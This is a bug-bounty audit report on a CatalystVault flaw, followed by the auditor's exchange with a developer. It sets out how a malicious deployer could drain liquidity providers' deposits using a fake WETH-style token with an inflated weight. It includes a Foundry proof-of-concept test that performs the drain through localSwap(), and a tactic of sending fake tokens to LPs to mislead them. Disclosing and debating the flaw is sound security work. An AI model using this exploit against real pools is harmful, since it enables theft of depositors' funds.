CatalystVault LPs can be drained by deployer on whitelisted Vault

[hats-bug-reporter]

Github username: @0xfuje
Twitter username: 0xfuje
Submission hash (on-chain): 0xe27a0162b2ac6c5ea56983c04cb14a87c28b1576afefc4a3602c538762638b3e
Severity: high

Description:

Impact

Total loss of LP deposited funds of Vault

Description

1. Malicious deployer creates a token fakeWETH and fully controls the token's supply
2. Deployer deploys a seemingly normal whitelisted Vault from the whitelisted templates with popular tokens such as USDC, USDT, but one of the token is their own token that mimicks a popular token (e.g. WETH), sends normal ($1000) amount of USDC, USDT to the pool to seem trustworthy for LPS
3. Deployer waits for LPs to deposit funds of USDC, USDT
4. Victim LP deploys $10000 USDC and USDT
5. Immediately the attacker will drain the pool by using his fake token to localSwap() to the valid tokens via either minting unbounded amount of tokens, (or via setting unbounded high weight at deployment)

Proof of Concept

In this example the attacker abuses setting the weight of their malicious token to high amounts and the total supply to very low, but it's not necessary since he controls the whole supply of their arbitrary token, so he can mint up to the amount that needs to drain the pool.

1. Navigate to test/ExampleTest.t.sol
2. copy and paste the below proof of concept and change the setup
3. call forge test --match-test --via-ir test_localswap_exploit_token -vvvv

  function setUp() public override {
    // Calls setup() on testCommon
    super.setUp();

    // Create relevant arrays for the vault.
    uint256 numTokens = 3;
    address[] memory assets = new address[](numTokens);
    uint256[] memory init_balances = new uint256[](numTokens);
    uint256[] memory weights = new uint256[](numTokens);

    // Deploy a token
    assets[0] = address(new Token("USDC", "USDC", 18, 1e6));
    init_balances[0] = 100 * 1e18;
    weights[0] = 1;
    // Deploy another token
    assets[1] = address(new Token("USDT", "USDT", 18, 1e6));
    init_balances[1] = 100 * 1e18;
    weights[1] = 1;

    assets[2] = address(new Token("fakeWETH", "WETH", 1, 10));
    init_balances[2] = 1;
    weights[2] = 1e18;

    // Set approvals.
    Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
    Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);
    Token(assets[2]).approve(address(catFactory), init_balances[2] * 2);

    vault1 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
    );
    vault2 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
    );
  }

---

  function test_localswap_exploit_token() external {
    // 1. Initialization
    address alice = makeAddr("Alice");
    uint256 aliceBalanceUSDC = 10000 * 1e18;
    uint256 aliceBalanceUSDT = 10000 * 1e18;

    address USDC = ICatalystV1Vault(vault1)._tokenIndexing(0);
    address USDT = ICatalystV1Vault(vault1)._tokenIndexing(1);
    address maliciousToken = ICatalystV1Vault(vault1)._tokenIndexing(2);

    deal(USDC, alice, 10000 * 1e18);
    deal(USDT, alice, 10000 * 1e18);

    // 2. Alice provides liquidity
    vm.startPrank(alice);
    Token(USDC).approve(vault1, aliceBalanceUSDC);
    Token(USDT).approve(vault1, aliceBalanceUSDT);

    uint256[] memory aliceDepositAmounts = new uint256[](3);
    aliceDepositAmounts[0] = aliceBalanceUSDC;
    aliceDepositAmounts[1] = aliceBalanceUSDT;
    aliceDepositAmounts[2] = 0;

    ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, 0);
    vm.stopPrank();

    // 3. Deployer exploits
    uint256 swapAmount = 1;
    Token(maliciousToken).approve(vault1, 2);

    uint256 swapReturn1 = ICatalystV1Vault(vault1).localSwap(maliciousToken, USDT, swapAmount, 0);
    uint256 swapReturn2 = ICatalystV1Vault(vault1).localSwap(maliciousToken, USDC, swapAmount, 0);
    
    emit log_uint(swapReturn1);
    emit log_uint(swapReturn2);
  }

Note: Recommendations will be added soon

[0xfuje]

Hope my explanation will be sufficient as I wanted to send this in as fast as possible. The root of the problem is that arbitrary tokens will always be dangerous. I will think about how to best mitigate this while still retaining vault flexibility.

[0xfuje]

In the tests case address(this) is the attacker and setUp() is his own setup instead of a general setup of Vault

[0xfuje]

Regarding the fake token, the attacker can also do various tricks to make it more convincing: one of them is to mimick the real token's balances: he monitors the approvals to his own vault and sends the fake tokens to potential users and LPs (e.g. LP has 4 WETH, whenever LP approves other assets to the vault, attacker will immediately send 4 fakeWETH to the LP), but he doesn't need to do this if the LP only supplies the other real assets.

[0xfuje]

Recommendations

This would reduce flexibility, but enhance safety: Consider distinguishing between safe and custom vaults on the contract level and disallow custom vault usage until an authorized actor allows it, one way to do that is to have a whitelisted array of tokens that are considered safe along with the whitelisted vaultTemplates and the chainInterfaces. If it matches the safety checks, the vault can be used immediately, if not the vault has to be approved by the factory owner before regular users can use it.

Another similar but easier solution is to only allow whitelisted array of tokens to be used as assets.

To minimize potential damage, weights can be bounded to be between a reasonable value (e.g. can't exceed 100x difference)

[reednaa]

When deploying a vault, the factory will tell third parties which tokens it contains:

Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/evm/src/interfaces/ICatalystV1FactoryEvents.sol

Lines 7 to 23 in fba322f

	/**
	* @notice Describes the deployment of a new vault as a proxy of the given vault template.
	* @dev Should be used for vault discovery and pathing.
	* @param vaultTemplate The address of the template used by the transparent proxy.
	* @param chainInterface The address of the CCI used by the transparent proxy.
	* @param vaultAddress The minimal transparent proxy address for the vault.
	* @param assets List of the assets the vault supports.
	* @param k Set to 10**18 if the vault is volatile, otherwise the vault is an amplified vault.
	*/
	event VaultDeployed(
	address indexed vaultTemplate,
	address indexed chainInterface,
	address indexed deployer,
	address vaultAddress,
	address[] assets,
	uint256 k
	);

As such, Alice will know that the vault contains a token she may not expect.

This is similar to #12. We do not want to impose any kind of whitelisting or filtering on: Vault Templates, Cross-chain interfaces, or assets. What we can do is filter on the front-end. Token filtering is already common place with https://tokenlists.org and I have also seen Uniswap check to see if a token tries to match another token on the list and then display an additional warning.

As such, these are not on-chain implementation concerns.

Also not in the scope of the audit is any token. You could create a token say superSafeMars which behaves just like a normal token. Except if msg.origin is Bob then the balance of the vault would be 1. This would allow you to also easily drain the vault.

[reednaa]

Regarding exotic tokens, it is a very fine balance. We want to support mainstream tokens so if you can make the contract behave in unexpected ways with any of these, it might be a valid issue. Might because if you create an ERC20 just for the occasion it is not going to count.

See these 2 issues on weird ERC20s for more details: #10 and #29

[0xfuje]

The potential weight difference is an issue in itself, as it can be used to drain the vault via normal ERC20 tokens as well in a similar fashion. I did submit it as a different vulnerability: #41

[0xfuje]

We do not want to impose any kind of whitelisting or filtering on: Vault Templates, Cross-chain interfaces, or assets.

Got it!

What we can do is filter on the front-end.

As an auditor focused on the smart contract scope, I didn't have pre knowledge of the extent of front-end filtering, so I didn't have an assumption that tokens were filtered, but will keep in mind!

Also not in the scope of the audit is any token.

Usually if an arbitrary token input is in the codebase, it's in scope, but understand it's not a concern here, I will keep this in mind going forward and focus on mainstream / real tokens.

[reednaa]

I mean yes but would you say the same to a Uniswap pool, Balancer pool, or Curve pool? Yes they support any tokens but often they have to implement custom logic in case of fee on transfer, rebasing, or other exotic tokens.

We don't mention supporting these borderline tokens anywhere.